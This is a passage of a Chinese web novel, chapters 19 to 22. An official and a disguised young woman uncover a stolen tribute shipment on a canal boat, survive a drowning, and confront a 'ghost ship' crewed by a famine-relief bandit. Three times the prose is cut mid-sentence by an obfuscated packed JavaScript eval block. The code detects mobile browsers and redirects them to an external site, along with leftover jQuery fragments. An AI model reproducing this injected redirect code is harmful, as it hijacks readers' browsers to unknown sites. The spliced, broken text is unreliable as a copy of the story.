“怪不得昨夜起风了,水面还咕嘟咕嘟冒泡,定是河伯发怒。” “完了完了,触怒神灵了,这案子不能查,再查下去,整船人都要遭殃。” 恐慌的传闻如同瘟疫般在官船上扩散开,闹得人心惶惶。 季琢玉压根不信这种说法,她悄无声息地看向崔恪,崔恪脸上并没有什么表情变化。 显然,他不为所动。 什么水鬼,什么河伯,若真是找上门,他倒要亲自会会。 船工们脸色发白,聚在一起窃窃私语,眼神躲闪地瞟向崔恪所在的舱房方向。 连原本气势汹汹、恨不得立刻找出贼人的赵虎等镖师,此刻脸上也只剩下惊疑不定的恐惧,那“水鬼”、“河伯”的字眼像冰锥子扎在他们心上。 听说之前就有人触怒水鬼,落得死无全尸。 是洛阳某个大官的小舅子,平日里为非作歹,欺压百姓,强娶民女,坐船的时候说了不该说的话,还没下船就死了。 尸体旁边留了字据,正是水鬼的手笔。 一个头发花白、穿着褐色短褂的老船工,在众人的推搡下,颤巍巍地走到舱房门口,对着里面深深作揖,声音带着哭腔。 “大人!崔大人!求求您了,这案子……这案子别查了!定是河伯显灵,收了生辰纲!咱们凡人哪能跟神灵作对啊!再查下去,触怒了河伯,这船……这船怕是要沉呐!” 他扑通一声跪倒在地,“求大人开恩,放过小的们吧!” 赵虎也跟了过来,脸上的横肉都在哆嗦,之前的嚣张气焰荡然无存,只剩下后怕。 “崔大人,小的……小的昨夜是猪油蒙了心,胡乱攀咬!可这……这真不是人力能办到的!那么多箱子,凭空消失啊!定是水鬼作祟,鬼神搬运!大人明察秋毫,也……也得敬畏鬼神啊!这案子再查,怕是要招来大祸啊!” 他自知平日亏心事做的多,生怕水鬼顺藤摸瓜找到他头上来。 他可不想死在这艘船上。 “一派胡言!”一声冷斥,如同寒冰乍破,瞬间压住了门外的哭求和嘈杂。 崔恪站在舱房门口,身形挺拔如孤松,墨蓝色的官袍在昏暗的光线下透着一股不容置疑的威严。 目光如炬,扫过跪在地上的老船工和一脸惶恐的赵虎,最后落在那些噤若寒蝉的船客和水手身上。 他的脸上没有任何动摇,只有一片冰封般的沉静。 “本官奉旨查案,职责所在,只认证据,不惧鬼神。” 他的声音不高,却清晰地穿透了恐惧的空气,带着一种斩钉截铁的力度。 “所谓水鬼搬运,河伯显灵,不过是无稽之谈。生辰纲是死物,不会凭空消失,定是被人所盗,藏匿于船上某处,或是已转移他处。你们妄言鬼神,扰乱视听,莫非是想掩盖什么?!” 他的目光最后锐利地钉在赵虎身上,仿佛要看穿他的内心。 赵虎被他看得浑身一抖,冷汗瞬间就下来了,嘴唇嗫嚅着,却再也说不出“水鬼”二字,只能任由崔大人查办此案。 崔恪不再理会门外诸人,转身回到舱内,反手将门关上,隔绝了外面那些惊惶不安的眼神和低语。 舱房里只剩下他和季琢玉两人。 季琢玉看着他紧绷的侧脸线条和眼底深处那抹不易察觉的凝重,低声道:“他们怕成这样,‘水鬼’之说恐怕已在船上传遍。人心惶惶,对查案不利。” 她顿了顿,目光扫过地上的水渍和鞋印,“而且,这现场……确实透着股邪门。那么多箱子,怎么运出去的?一点声响都没有?” 崔恪没有立刻回答。 他走到那摊水渍旁,再次蹲下,用指尖蘸了点水,凑到鼻端闻了闻。 除了河水特有的微腥,似乎并无其他异味。 他的目光沿着水渍的流向,一点点向舱壁挪动。 “不是鬼神。”他的声音在寂静的舱房里显得格外清晰,“是人。而且,就在这船上。” 他站起身,走到那几道深深的箱体压痕边,蹲下身,指节用力敲击着压痕边缘的地板。 笃、笃笃…… 声音沉闷,与其他地方并无明显不同。 季琢玉也学着他的样子,在旁边一块看起来毫无异样的地板上敲了敲。 笃、笃…… 她的动作顿住了。 指尖传来的触感和回响……似乎有一点点微妙的差异?她用力再敲。 笃笃…… 声音似乎……略微空了一点? 她猛地抬头看向崔恪,眼神的意思是这里面有暗格,船板之下并非是海水。 崔恪的目光也正落在她敲击的位置,深邃的眼底掠过一丝寒芒。 他伸出手,沿着那块地板的边缘细细摸索。 指甲刮过木板拼接的缝隙,刮下一些陈年的污垢和灰尘。 指尖在某处缝隙中触到一点极其细微的、几乎被灰尘掩盖的油渍。 “十九!”崔恪再次沉声唤道。 门立刻被推开,崔十九闪身进来,脸上带着一丝疲惫和凝重:“大人?” “立刻带人,”崔恪指着季琢玉刚才敲击的那块地板,“撬开这里,一寸一寸地查,看看下面是什么!” “撬开?”崔十九一愣,看着那块与周围浑然一体的地板,随即反应过来,“是,属下遵命!” 季琢玉看着崔恪冷峻而专注的侧脸,心底那点因“水鬼”之说带来的寒意,似乎被这坚定的指令驱散了些许。 她下意识地攥紧了手指,指尖似乎还残留着昨夜杏酪饧那点若有似无的甜香。 她悄悄抬眼,目光掠过崔恪眼下那圈明显的青黑,心头莫名地微微一滞。 崔恪站直身体,目光悠悠落到她的脸上,坚定地目光像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是!”崔十九凛然应诺,眼中再无半分犹豫,立刻点选人手,准备进入那幽深的暗道。 舱门外,死一般的寂静。 方才还喧嚣的“水鬼”恐慌,被这突如其来的“暗道”发现和崔大人凛然的声音彻底冻结。 赵虎面无人色,踉跄着后退一步,撞在冰冷的舱壁上,脸上是大难不死的庆幸。 还好生辰纲找回来了,不然他怎么跟来大人交差。 老船工呼出一口气,此事不是水鬼所为就好,不然整艘船上的人都性命难保。 季琢玉站在崔恪身侧,看着洞口吹上来的、带着河水气息的冷风拂动他鬓角的碎发。 她的目光像被磁石吸住,黏在崔恪脸上挪不开。 昏黄烛火跳跃着,勾勒出他如寒玉雕琢的侧脸。 下颌线利落分明,透着不容置喙的冷硬。 鼻梁高挺,像一柄出鞘的利剑,悬在紧抿的薄唇之上。 他的唇色很淡,此刻因阴沉着脸更显浅淡,抿出一种禁欲的弧度。 最要命是那双狭长的凤眸。 眸色沉静如深潭寒水,眼睫生得极长,低垂时在冷白的眼下投下一小片阴影,敛去了所有锋芒。 她下意识地,又摸了摸自己的指尖,心里有种熟悉的甜香慢慢弥散开,变得格外清晰起来。 崔恪余光撇见她花痴的模样,像是习以为常了,神色没有改变。 又有些无奈,合了合眼,下意识要伸手做什么,大手在碰到她胳膊前又忽然收了回去。 季琢玉并没有说话,但他耳边却出现了她的声音。 “子慎,你眉骨生的真好,鼻子也好,眼睛也好,总之哪儿哪儿都好,我最喜欢你了。” “你说上元节后就来我家提亲,可秦姨和花大叔还不知道这事,我怕他们把你赶出去。” “还有崔太傅,他老人家会喜欢我吗?” 他那时是怎么说的,想起来了。 “祖父不娶你。” “啊?” “我的意思是,要娶你的人是我,不必在意旁人喜不喜欢你。” …… 20. 第二十章 不知过了多久,季琢玉回过神来,后知后觉自己竟然盯着崔大人看了这么久。 “大人,我先出去了。” 她匆匆撂下一句话,像是落荒而逃。 崔十九走进来禀告情况,跟她擦肩而过,瞧见她脸色微红,疑惑地看她。 “季姑娘……你不舒服吗?” 季琢玉摇头如拨浪鼓,看都没看崔十九一眼,径直快步走了出去。 她真是被下迷药了,竟会对崔大人犯花痴。 也是奇怪,这世上怎么会有人带给她一种说不出来的感觉,第一次在戏班别院见到的时候,她就觉得与眼前的男人似曾相识,亲近又陌生。 她从前也不是看脸的人,前几个月探花郎骑着骏马游街的时候,邻居家姑娘们眼都看直了,她是一点感觉都没有。 邻居家曼娘还说,她是淋雨淋傻了,丢了好些记忆,人也清心寡欲了,从前可是个会羞答答的娇俏小娘子。 这话季琢玉没往心里去,她怎么可能跟“娇俏”二字扯上关系,她不是一直女扮男装吗? 甲板上,季琢玉默默一个人站着,周围没什么人,她手里拿着一块糕点,吃到嘴里索然无味。 她有些想念,昨晚崔十九给她带来的杏酪饧。 入口即化的凉滑,奶香裹着蜜甜,让人直流口水。 她还沉浸的回忆美食之中,全然没有察觉身后有人靠近。 忽然一道力气袭来,她被猛得一推,还没来得及回头看身后人的脸,扑通一下落了水。 她不会水啊! 冰冷的河水如同无数根钢针,瞬间刺透季琢玉单薄的衣衫,直扎骨髓。 巨大的冲击力和窒息感让她眼前发黑,只来得及瞥见浑浊的水流中,那个推她下水的镖师狰狞的脸在船栏边一闪而过。 “坏老子好事,该死的东西。” 紧接着,一只粗壮的手狠狠将她往更深、更冷的水底按去。 “唔——!” 肺里仅存的空气被挤成绝望的气泡,水面上隐约能看到两截雪白纤细的手臂,胡乱地拍打着,激起一片水花。 冰冷腥臭的河水疯狂倒灌入口鼻,冲进喉咙,带来撕裂般的灼痛。 黑暗如同粘稠的墨汁,迅速吞噬了她的视线。 无论如何拍打水面,都无法让自己的脑袋从水面下露出来,身子沉重得像绑了巨石,不受控制地向下沉坠。 意识在冰冷的包裹中迅速剥离,四肢失去了知觉,只剩下心脏在胸腔里疯狂擂动,每一次搏动都牵扯着濒死的恐惧。 水压挤压着耳膜,发出沉闷的、如同丧钟般的轰鸣。 好冷……好黑……是要死了吗? 意识即将被无边黑暗彻底吞没的瞬间,头顶浑浊的水波,似乎被一股强大的力量骤然搅动。 一道黑影,如同劈开黑暗的闪电,带着强大的气势,穿透层层水幕,直直地朝着她沉坠的方向冲来。 那张脸……即使在模糊扭曲的水波中,即使隔着濒死的绝望,季琢玉也一眼认了出来。 是崔大人。 崔大人来救她了,她不会死了。 不知为何,她心里坚信不疑,看到崔恪的一瞬间,就知道自己会活下去。 她的嘴角慢慢地上扬,再也撑不住了,再也没有挣扎的力气,闭上眼睛,任由身体在水中下沉。 崔恪冷硬的脸上没有任何表情,唯有那双深不见底的黑眸,燃烧着一种近乎疯狂的执着。 他奋力划水,手臂带起强劲的水流,墨蓝色的袍在水中漂浮摆动,目光紧紧地盯着她。 没事了,他来了…… 濒死的临界点,在冰冷与窒息交织的混沌深渊里,她闭着眼睛,脑海中,毫无预兆地炸开无数破碎的画面。 不是水底的黑暗,是明媚得刺眼的阳光,透过层层叠叠、开得如火如荼的花树洒落下来。 粉白的花瓣像雪片一样簌簌飘落,沾满了她的头发和肩头。 她好像变得不一样了,穿着鹅黄色的襦裙,时兴的绣花鞋踩在松软温热的泥土上。 身边,站着一个穿着月白圆领袍的少年。 看不清面容,只有阳光勾勒出他清瘦挺拔的轮廓。 风吹动他束发的缎带,拂过她仰起的脸,带着青草和阳光的气息,痒痒的。 少年微微侧过头,对她说了句什么,她白皙的脸蛋染上一抹绯红。 有情,确有情…… 声音被水波扭曲,听不真切,只记得那语调温柔得像春日里最轻的风。 他伸出手,修长干净的手指,轻轻拂去她发梢的一片娇嫩的花瓣。 随后,他亲昵地拉起她的手,那掌心是温热而干燥的,带着少年特有的骨节分明。 两人并肩站在漫天纷飞的花雨下,他长臂拥她入怀,她斜着脑袋靠在他的肩上。 他似乎在祈祷,声音清澈而郑重,穿透了时光的阻隔,清晰地在她耳边响起。 “……愿神明庇佑,岁岁年年,永不分离。” 那声音……那感觉……温暖得让她想哭。 连成片的花树,翩翩少年的侧影,紧握的双手…… 这些画面毫无逻辑地涌现、旋转、交织,带着一种遥远又刻骨的熟悉感,冲击着她即将溃散的意识。 这是什么时候的事情,她怎么一点印象都没有了。 那少年是谁,她如今身边怎么没有一个这样的人,他去哪儿了? 忽然,脑袋中的画面散尽,冰冷刺骨的河水,和记忆中温暖明媚的花雨,形成了强烈的反差。 她好冷,好冷…… 她好想念那双温柔的大手,想念阳光般的温暖。 “唔……” 一口冰冷的河水呛入,剧烈的痛苦将她从破碎的幻境中猛地拉回现实。 身体还在下沉,黑暗更浓。 一切幻想如同泡影般迅速消散,那道从远处而来的墨色的身影,却在这一刻,穿透了最后的水层,带着不容抗拒的力量,猛地抓住了她冰冷僵硬的手腕! 手心滚烫的温度,如同烙铁般印在了她的皮肤上,这似曾相识的触感,她缓缓睁开眼。 涣散的瞳孔在冰冷的河水中艰难地聚焦在近在咫尺的那张俊脸上。 依旧是冷硬的线条,紧抿的薄唇,可那双深潭般的眼眸里,倒映着她濒死的狼狈,翻涌着她看不懂的、浓烈到化不开的情绪。 她看向他的目光里带着一丝恍然和难以言喻的悸动,随即被汹涌的河水彻底淹没。 她失去了所有力气,任由那只滚烫的手,将她从死亡的深渊里,狠狠拽向光明。 浑浊水下,好像有什么东西被船底巨大的阴影笼罩着,粗重铁链,像水底巨蟒,死死锁着几个巨大箱子。 是生辰纲!在水底! “大人……大…….”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820810|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她想喊,只吐出一串绝望的气泡,抓着她的手腕的崔恪像是没看到那些大箱子一样,目不转睛,一味拽着她,向着光亮处快速游去。 冰冷彻底吞没她的意识,沉沉地闭上酸疼的双眼。 天黑了又亮,太阳落下又升起,床上脸色死白的人儿终于有了要醒来的意思。 嘴巴干燥到张不开,不知什么湿润柔软之物贴上了她的唇,浓重的苦药味滑进她的喉咙里,火烧火燎。 “咳……咳咳……”剧烈的呛咳撕开黑暗。 季琢玉猛地睁开眼,视线模糊,聚焦到低矮舱顶,昏黄油灯随着行船而摇晃。 身上是干爽的衣服,宽宽大大,不合身却很舒服,厚棉被带着阳光暖意,温柔极了。 头发半干,几缕湿发贴着她的侧脸,乌黑的发衬得她的脸色更白,唇更饱满,湿润又粉白。 床边,一个人影,看得不真切,终于看清了那张脸。 是崔大人…… 他侧坐着,微低着头凝视着她。 手里端着粗瓷碗,小木勺极其专注、缓慢地搅动着碗里黑乎乎的药汁。 灯光勾勒他棱角分明的侧脸,眼下青黑深重,薄唇紧抿,化不开的疲惫和紧绷。 他没发现她醒了。 季琢玉张嘴,喉咙干痛,只发出嘶哑气音。 挣扎着想坐起,手臂双腿牵动一下就酸软了,只剩下闷哼一声。 这细微声响如同惊雷,崔恪忽然盯上她。 深不见底的黑眸,眼底翻涌的担忧、后怕、未褪的戾气,片刻又被他狠狠压下,只剩一片冰寒。 “别动,躺着。”声音沙哑得厉害,极力平稳。 他立刻放下碗,俯身过来,动作僵硬又谨慎,一只手伸到她颈后,另一只托住她肩背。 想扶她起来,指尖隔着薄薄中衣触到她皮肤,温度竟灼热,带着一丝微颤。 季琢玉靠坐起来,后背倚着叠起的被褥,两人的距离让她不自在,太近了。 崔大人明知她是女儿身,为何不避嫌? 他坐在她的床边,扶她起身,又给她喂药,若是被人看见了,传出去怎么办? 她调整呼吸,靠运作内力让自己能够舒服一些。 鼻尖是他清冽的松针气息,混着药味,还有一丝若有似无的血腥气。 “水……”她艰难吐字,喉咙像砂纸磨过。 崔恪立刻转身,带起一阵风。 拿起小几上温着的陶壶,倒了半杯温水。 没递给她,直接坐回榻边,一手稳稳扶着她肩背,另一只手小心将杯沿凑到她干裂唇边。 动作笨拙又强硬,不容拒绝。 冷厉的眼神死死锁着她反应,怕她呛到。 温热的水滋润喉咙,季琢玉贪婪吞咽几口,抬手想自己拿杯子,被他不动声色避开。 崔恪依旧保持着喂水姿势,直到她轻轻摇头,才移开杯子。 “感觉如何了?”声音低沉沙哑。 崔恪的目光在她苍白脸上逡巡,最后落在额角那道红痕上,眉头几不可查地蹙紧。 季琢玉摇头,顾不上虚弱,猛地抓住崔恪的手臂,指甲几乎掐进衣料。 “生辰纲!大人!”她嘶哑着,破釜沉舟,“我看到了,在水下,船底下,大铁链子拴着……” 还没说完,她剧烈地咳嗽起来,喉咙里有铁锈的味道,她几乎要咳出血来。 21. 第二十一章 崔恪身体绷紧如满弓,目光落在她紧抓着他手臂的手上,不急不缓地说:“已经派人去水下取了。” 她都这样了,还想着案子,他有些后悔说出让她协助办案的话,可除此之外,他没有别的法子,让她不要从他眼前消失。 季琢玉用力点头,一阵眩晕,仍死死抓着崔恪的手臂。 “要快,再晚些,我怕会生变故。” 那些人把生辰纲放在船底,一定就是打算偷偷运走的,不知道他们计划的是什么时候,所以得快,快些拉上来。 崔恪大步走向舱门,一把将门拉开。 “十九!”厉喝穿透空气。 “属下在!”崔十九身影立刻出现在门口,他用余光撇向屋内,看到季琢玉已然醒来,松了一口气。 “将生辰纲全部打捞上来,一件不许少。”他声音斩钉截铁。 “是!”崔十九毫不迟疑,转身飞奔而去。 季琢玉靠在榻上,看着崔恪如孤峰立在门口的背影,心头大石稍落。 刚想松口气,“轰隆——”惊雷炸响,船体剧烈晃动。 紧接着,狂风大作,疯狂拍打船舷舱壁。 风声呜咽凄厉,豆大雨点噼啪砸下,瞬间连成狂暴雨幕,天地混沌,白昼如夜。 “大人!大人不好了。”护卫连滚爬爬冲到门口,声音惊恐仓促,“风浪太大,下不了水,绳子下去就被冲走,水下暗流像漩涡,大伙站不稳。” 崔恪脸色在电闪雷鸣下,阴沉如铁。大步走出舱门。 季琢玉强撑虚软,踉跄跟到门口,扶住门框望去,运河之上,浊浪滔天,狂风暴雨疯狂拍打船身,激起数丈水墙,船帆根本不起作用。 冰冷的雨水抽在脸上生疼,天空黑沉如墨,惨白闪电一道一道劈裂天空。 “是水鬼……水鬼发怒了。”有人指着船尾,撕心裂肺尖叫。 季琢玉和崔恪目光猛地投向船尾,狂风骤雨,翻腾浊浪间,距离官船百丈远,竟出现了一艘船。 像是凭空出现的水面上的,毫无征兆,摇摇晃晃朝着他们所在的官船驶动。 形制古怪,通体漆黑,仿佛墨汁浸透,又像焚烧残骸。 船帆破烂,只剩几缕黑布条在狂风中凄厉舞动,如招魂幡,船体歪斜着,逆着风浪,违背水流。 悄无声息却无比迅速朝着官船逼近,更恐怖的是风雨鬼哭狼嚎中,竟随着那艘凭空出现的鬼船,飘来一阵诡异的歌声。 凄婉,哀怨,断断续续,如女子悲泣,又似咒语,穿透雨幕,清晰钻进每个人耳朵。 “是鬼船!水鬼的船!河伯来索命了!”船上恐惧炸开,哭喊、求饶、绝望祈祷响成一片。 许多人瘫软在地,瑟瑟发抖,想要四处逃窜,逃而无处可逃。 崔恪站在风雨飘摇的船头,墨蓝官袍被狂风撕扯,雨水顺冷硬下颌淌下。 他目不转睛地盯着那在惊涛骇浪中逼近的黑色鬼船,眼底冰寒凝成骇人的杀意。 “装神弄鬼!”冰冷声音,清晰地传入季琢玉耳中。 “崔大人!”季琢玉心头猛跳,不祥预感攫住她,她不顾一切冲到他身边,抓住他冰冷湿透的衣袖,“你要干什么?!” 崔恪转头,雨水冲刷他苍白的脸,电光下,那双深眸亮得惊人。 他反手,极其用力地、近乎粗暴地一根根掰开她的手指,声音低沉坚决,不容置喙。 “回舱房待着,哪儿都不许去,等我回来。” 话音未落,他猛转身,对冲来的崔十九厉喝。 “放小船,我要上船,看是人是鬼。” “大人,不可贸然登船,太凶险了,那船邪门的很。”崔十九急红了眼,手按在配剑上。 “执行本官的命令。”崔恪天生的威压不容抗拒,他不再看季琢玉一眼,大步流星冲向船尾。 “崔大人!”季琢玉呼喊被风雨覆盖。 她眼睁睁看着那道墨蓝身影,毫不犹豫跳下颠簸小艇,朝着散发不祥气息的黑色鬼船,义无反顾驶去。 风雨更狂,鬼船更近,凄婉歌声,仿佛就在耳边萦绕。 “让我过去!” 季琢玉的声音很大,带着不顾一切的坚定,甩开试图搀扶她的崔十九,冲向船尾。 “季姑娘,不行,太危险了,大人命令您留在船上。”崔十九张开双臂死死拦住她,脸色比纸还白。 “危险?”季琢玉猛地抬头,雨水顺着她苍白的脸颊往下淌,那双杏眼里是震慑与勇气,“就是危险我才要去,他一个人在那鬼船上,我要过去帮他。” 她眼底的决绝,竟让崔十九一瞬间看到了自家大人的影子,季姑娘跟崔大人吼人的时候简直一摸一样。 他喉头一哽,手臂无力地垂下。 “放下小船”他咬牙对旁边护卫吼,自己却猛地转身冲向系着小船的缆绳,“我来划。” 季琢玉跳下小船,死死抓住湿滑的船舷,指甲抠进木头里,眼睛盯着越来越近的黑色巨船。 船上凄婉的歌声近了,丝丝缕缕钻进耳朵,带着一种令人头皮发麻的阴冷。 终于,船身猛地一震,小船撞上鬼船腐朽的船体。 “季姑娘,抓紧绳子!”崔十九把一条湿透的绳索甩上鬼船船舷。 季琢玉根本不等他,抓住绳子就往上攀,湿滑的绳索勒得她掌心剧痛,冰冷的雨水糊住眼睛。她手脚并用,几乎是滚着翻上了鬼船湿漉漉的甲板。 “大人!崔大人!”她的喊声在空旷诡异的甲板上回荡,只有风雨的咆哮和那该死的歌声回应。 甲板上空无一人,只有断裂的缆绳和散落的、看不出用途的破烂木头,船上只有几点光亮,燃烧着半截蜡烛。 崔恪明明上船了,人去哪儿了?季琢玉心提到嗓子眼,毫不犹豫冲了进去。 船舱内弥漫着浓重的霉味和铁锈味,光线昏暗。 刚冲进几步,脚下地板猛地一陷,“咔哒!”机括声刺耳。 头顶寒光一闪,一张布满锈蚀尖刺的巨大钉板,带着沉闷的风声当头砸下。 季琢玉瞳孔骤缩,身体反应快过脑子,猛地向后仰倒。 眼看就要被钉成刺猬,一道高大的身影从斜后方冲出来,凛冽的松针冷气扑面而来,铁臂狠狠揽住她的腰,带着巨大的冲力将她扑倒在地。 “砰!” 两人重重摔在湿冷的地板上,钉板擦着崔恪的后背轰然砸落,尖离他的袍服不过半寸,地上溅起的腐木碎屑扑了他们一脸。 “唔……”季琢玉被撞得眼冒金星,腰快断了。 惊魂未定间,对上一双近在咫尺、燃烧着怒火的寒眸。 “谁让你来的!”崔恪的声音从齿缝里挤出来,带着劫后余生的戾气,箍在她腰上的手臂压的她喘不动气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828681|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我……”季琢玉一脸无措地看着他,支支吾吾只说出一个字。 “呜——”凄厉的破空声。 一道魁梧如铁塔的黑影,裹挟着浓重的鱼腥和水汽,从黑暗深处猛扑出来。 砂锅大的拳头带着开碑裂石的劲风,直轰崔恪后心,速度快得惊人。 崔恪眼神一厉,抱着季琢玉就地一滚。 “轰”的一声,那拳头砸在刚才他们倒地的位置,腐朽的地板瞬间被砸穿一个大洞。 黑影一击不中,发出野兽般的低吼,转身再次扑来,动作大开大合,拳风刚猛无匹。 传说中的水鬼? 崔恪一把将季琢玉推到身后角落,反手拔刀,刀光如匹练,劈开昏暗,精准地斩向黑影的手腕,毫不留情的杀招。 装神弄鬼地邪祟,蛊惑百姓,死不足惜。 “住手!都住手!”季琢玉不知为何突然尖叫一声,踉跄着跑到崔恪面前,挡住他出手的招数。 刀锋在离她双目一寸之处硬生生顿住,黑影也猛地收拳,惊疑不定地看着她的背影。 借着崔恪刀身反照的微弱光线,季琢玉看清了那张被水泡得浮肿、胡子拉碴却依旧能辨认出轮廓的方脸。 “大牛哥,怎么是你?”她失声喊道,声音带着难以置信的颤抖。 那黑影浑身一震,布满血丝的眼睛死死盯住季琢玉的脸,几秒后,爆发出雷鸣般的吼声。“玉……玉兄弟?是你!你怎得到这艘船上来了?” 他狂喜地扑过来,蒲扇般的大手习惯性地就要往季琢玉肩膀上重重拍下。 “别碰她。”崔恪冰冷的声音如同寒冰。 他身影极快,一个转身插入两人之间,用剑鞘格开杨大牛拍来的巨掌,另一只手猛地将季琢玉往自己身后一拽,动作强硬得不容置疑。 杨大牛的手僵在半空,这才注意到旁边这个一身锦袍,气势迫人,眼神冷得能冻死人的男人。 他浓眉一拧,看向季琢玉:“玉兄弟,这小白脸谁啊,凶巴巴的,你朋友?” 季琢玉被崔恪牢牢护在身后,几乎贴着他冰冷的后背,能感觉到他紧绷的肌肉和一股说不清道不明的低气压。 她赶紧探出头,脸上挤出笑,试图化解两人之间的剑拔弩张。 “大牛哥,误会了,都是自己人,这位是崔大人,长安城大理寺少卿,这位是我结拜的义兄,杨大牛,是杨家船帮的少帮主。” 她一边说,一边不动声色地想从崔恪身后挪出来。 杨大牛一听是自己兄弟的朋友,立刻咧嘴大笑,豪气干云:“哈哈,原来是玉兄弟的朋友。那就是我杨大牛的朋友。” 他完全没注意崔恪越来越冷的脸色,绕过崔恪,再次伸出大手,这次目标明确,就要像以前一样,亲热地揽住季琢玉的肩膀。 “自家兄弟,可想死哥哥了,这些年你跑哪儿去了。” “啪!”一声脆响。 崔恪突然伸手,铁钳般扣住了杨大牛即将搭上季琢玉肩膀的手腕,力道之大,让杨大牛这壮汉都感觉骨头一痛。 杨大牛的笑僵在脸上,愕然地看着崔恪:“你!” 崔恪面沉如水,眼神冷得像冰锥子,直直钉在杨大牛那只被自己扣住的手上,薄唇紧抿,一个字没吐,但那周身散发的寒意和无声的警告,比任何言语都清晰。 他的手放错地方了。 22. 第二十二章 “杨大牛,你劫取生辰纲,违背大唐律法可认罪?”崔恪一副判官的架势,随时随地他都能审犯人。 “放屁!什么叫盗取?老子是劫富济贫!”杨大牛眼珠子瞪得溜圆,梗着脖子,唾沫星子几乎喷到崔恪脸上。 “控鹤府那姓来的老狗,贪了房州赈灾的银子,那可是活命的钱!如今房州什么光景?树皮都啃光了,每天都有饿殍往乱葬岗扔,老子劫他的生辰纲,天经地义!就是要拿回去,换成米粮,救那些快饿死的乡亲。” 船舱里弥漫着浓重的鱼腥和铁锈味,他粗犷的吼声在空旷腐朽的空间里嗡嗡回响。 季琢玉心头猛地一抽。 房州,难民,饿殍。 这些字眼扎痛她的心,房州旱灾的事情,她听秦姨提起过,说是百年难遇的灾情,死了好些人,甚至有的村子已经开始易子而食了。 天灾硬生生把老百姓逼成了恶鬼。 她立刻看向崔恪,眼神带着急切的恳求:“崔大人,大牛哥说的是真的,控鹤府来大人的名声,您也知道的,那些金子玉器,不过是他搜刮民膏所得,用来救济百姓才是要紧的事。大牛哥是为了救人,您能不能……通融一次,放他走吧。” 她声音带着颤,手指下意识揪住了崔恪冰冷的袖口。 “本官从不徇私。” 同样的话,前几日崔恪就说过了,他那日也没许她回家,不过他又说肚子饿,去吃胡饼,歪打正着让她回去见了秦姨和花大叔。 他这人别扭的很。 “您总是这么说,不还是……”季琢玉欲言又止,她怎敢指责大理寺少卿。 崔恪的目光落在她揪着自己袖口的手指上,又扫过她苍白脸上急切的恳求。 他下颌线绷得死紧,沉默了足足三息。 船舱外,风雨的咆哮似乎都小了些,只剩下那诡异的歌声还在幽幽飘荡。 他冰封似的薄唇动了动,声音低沉,带着不容置疑的权威,却是对着杨大牛:“人,可以放走。” 季琢玉眼睛一亮,刚要松口气。 崔恪冰冷的目光钉在杨大牛脸上,斩钉截铁地吐出后半句:“生辰纲,留下。” “什么?”杨大牛像是被踩了尾巴,瞬间炸毛,“留下?呸,姓崔的你做梦,老子带着兄弟们,在运河底下趴了三个月,喝冷水啃冷饼子,就为等这一天。现在你轻飘飘一句留下就想拿走?门都没有,老子今天就是拼了这条命,也得把这东西带走。” 他猛地踏前一步,健硕的身躯像座大山一样压过来,砂锅大的拳头捏得咯咯作响,布满血丝的眼睛死死瞪着崔恪,杀气腾腾。 崔恪纹丝不动,深不见底的寒眸里冰霜更重,锐利如刀锋。 他缓缓抬手,按在了腰间的刀柄上,无声的动作,比任何威胁都更具压迫感。 “大牛哥!”季琢玉急得声音都变了调,想冲过去拦在两人中间,“别动手!有话好……” “好个屁!”杨大牛一声暴喝打断她,眼睛赤红,“玉兄弟,你让开,此事跟你无关,这小白脸官儿不讲道理,老子今天非教训教训他不可,看拳!” 话音未落,他巨大的身躯猛地前冲,毫无花哨,全是力气,一记刚猛无匹的直拳,带着撕裂空气的尖啸,直轰崔恪面门。 码头把式的野路子,却凝聚着千钧之力。 崔恪眼神一厉,不退反进,侧身,旋腕,没有拔刀,只是快如闪电般一掌拍在杨大牛轰来的手腕内侧。 动作精准得如同量过,分毫不差。 “啪!” 一声脆响,杨大牛那开碑裂石般的一拳,竟被这看似轻飘飘的一掌硬生生拍歪了方向。 拳风擦着崔恪的鬓角掠过,带起几缕碎发。 杨大牛瞳孔一缩,显然没料到对方身手如此迅捷。 他怒吼一声,收拳变肘,一记凶狠的肘击狠狠撞向崔恪肋下,左腿悄无声息地扫向崔恪下盘。竟是上下齐攻,狠辣异常。 崔恪脚下步伐玄奥一错,身形迅速向后飘开半步,恰到好处地避开了致命的肘击和扫腿。 他那只拍开杨大牛拳头的手并未收回,反而五指如钩,扣向杨大牛因发力而暴露出的肩关节。 杨大牛只觉得肩膀一麻,半边身子瞬间酸软。 心下大骇,这小白脸竟是个深藏不露的高手,大理寺少卿不是个文官吗,怎么比驻守地方的大都督都能打。 他不甘心服输,狂吼一声,凭借蛮力猛地扭身挣脱,另一只拳头如同重锤,不顾一切地砸向崔恪胸口,完全是不要命的打法。 崔恪眼神更冷。 他不再闪避,迎着那呼啸而来的重拳,同样一拳击出。 拳势并不刚猛,却快得只剩下残影,后发先至,精准无比地砸在杨大牛手腕的麻筋上。 